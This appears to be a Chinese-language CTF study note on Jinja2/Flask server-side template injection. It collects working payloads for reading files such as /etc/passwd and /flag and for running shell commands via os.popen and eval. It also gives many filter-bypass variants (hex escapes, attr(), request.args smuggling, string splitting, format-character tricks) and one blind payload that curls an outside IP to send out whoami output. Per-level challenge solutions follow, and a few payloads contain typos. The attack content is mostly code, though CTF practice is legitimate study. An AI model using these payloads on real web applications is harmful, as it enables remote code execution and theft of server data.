御林SSTI 参考Feedback Pre-alpha
利用流程
获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块
常用函数
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
1
2
3
4
5
常见Payload
文件读取
# python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}
# python2
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
1
2
3
4
5
6
7
8
9
10
新发现的新利用(赶紧收集了)
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()
1
通用命令执行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
绕过姿势
过滤{{或者}}
可以使用{%绕过
{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
过滤_
用编码绕过
比如:__class__ => \x5f\x5fclass\x5f\x5f
_是\x5f,.是\x2E
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__
过滤.
.在payload中是很重要的,但是我们依旧可以采用attr()或[]绕过
举例
正常payload:
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`
使用attr()绕过:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
使用[]绕过:
可以用getitem()用来获取序号
url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}
其他:
''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")
过滤[]
可以用getitem()用来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
利用请求方式requests绕过
如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__
举例:
例一:
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__
例二:
{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__
因为很重要再重复一遍!!!!
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__
绕过config参数
{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
但是如果被过滤了
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
其他绕过姿势(来自P3师傅)
删除了很多模块,但是没有删除reload
reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2
EASY前置
Flask在渲染模板的时候,有
"".__class__===""["__class__"]
这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形
"".__class__===""["__cla"+"ss__"]
如果过滤了很多重要的参数呢?
python的格式化字符串特性
因为python的字符串格式化允许指定ascii码为字符
如果放到flask里,就可以改写成
"{0:c}"['format'](97)
测试一下没问题哈
那么__class__就可以变成
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
————————————————
版权声明:本文为CSDN博主「Y4tacker」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/solitudi/article/details/107752717
SSTI-1
和FEEDBACKPREALPHA一样
SSTI-2
过滤{{}}
{%print(7*7)%}换{{7*7}}
SSTI-3
过滤[]
{{''.__class__.__base__.__subclasses__()[240].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read()}}
改成
burpsite爆破59,然后找到长度比较独特的(
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(§59§).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls%20/").read()')}}
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(289).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("cat /flag").read()')}}
得到flag
SSTI-4
[pasecactf_2019]flask_ssti_ctf flask过滤-CSDN博客
SSTI模板注入及绕过姿势(基于Python-Jinja2)_exploit ssti bypass filter-CSDN博客
过滤了_
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[240].[request.args.init].[request.args.globals]['os'].popen('cat /flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__&init=__init__&globals=__globals__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
不行
试试网上的16进制编码绕过_编码为\x5f
{{''.\x5f\x5fclass\x5f\x5f.\x5f\x5fbase\x5f\x5f.\x5f\x5fsubclasses\x5f\x5f()[240].\x5f\x5finit\x5f\x5f.\x5f\x5fglobals\x5f\x5f['sys'].modules['os'].popen('cat /flag').read()}}
不对
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}
但是这个确实可以弹出root
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /flag")["read"]()}}
得到flag
SSTI-5
{% set chr=().__class___.__bases___[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}
{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(11)+chr(115)+chr(119)+chr(100)).read()}}
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
SSTI-6
过滤.
也可以用SSTI-4那个修改版
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /flag")["read"]()}}
得到flag
SSTI-7
flask sssti lab闯关记录_拓海AE的博客-CSDN博客
Level 8
+拼接绕过
# popen
{{()['__cl'+'ass__']['__ba'+'se__']['__subc'+'lasses__']()['__getitem__'](240)['__in'+'it__']['__gl'+
'obals__']['__getitem__']('po'+'pen')('cat /flag').read()}}
# os
{{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](213)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat /flag')['read']()}}
{{''.'__cla'+'ss__'.'__ba'+'se__'.'__subc'+'lasses__'()[240].'__in'+'it__'.'__glob'+'als__'['sys'].modules['os'].'po'+'pen'('ls').read()}}
爆破一下这个模块
{{''.__class__.__base__.__subclasses__()[240].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}